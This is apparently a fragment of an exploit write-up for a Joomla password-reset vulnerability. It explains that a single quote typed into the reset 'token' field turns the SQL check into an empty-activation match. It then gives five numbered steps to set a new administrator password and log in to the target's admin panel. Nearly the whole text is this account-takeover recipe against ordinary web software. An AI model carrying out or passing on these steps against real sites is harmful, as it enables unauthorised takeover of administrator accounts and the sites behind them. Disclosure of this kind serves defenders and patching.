{1} - Replace ' with empty char
{3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "


Example :


1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password
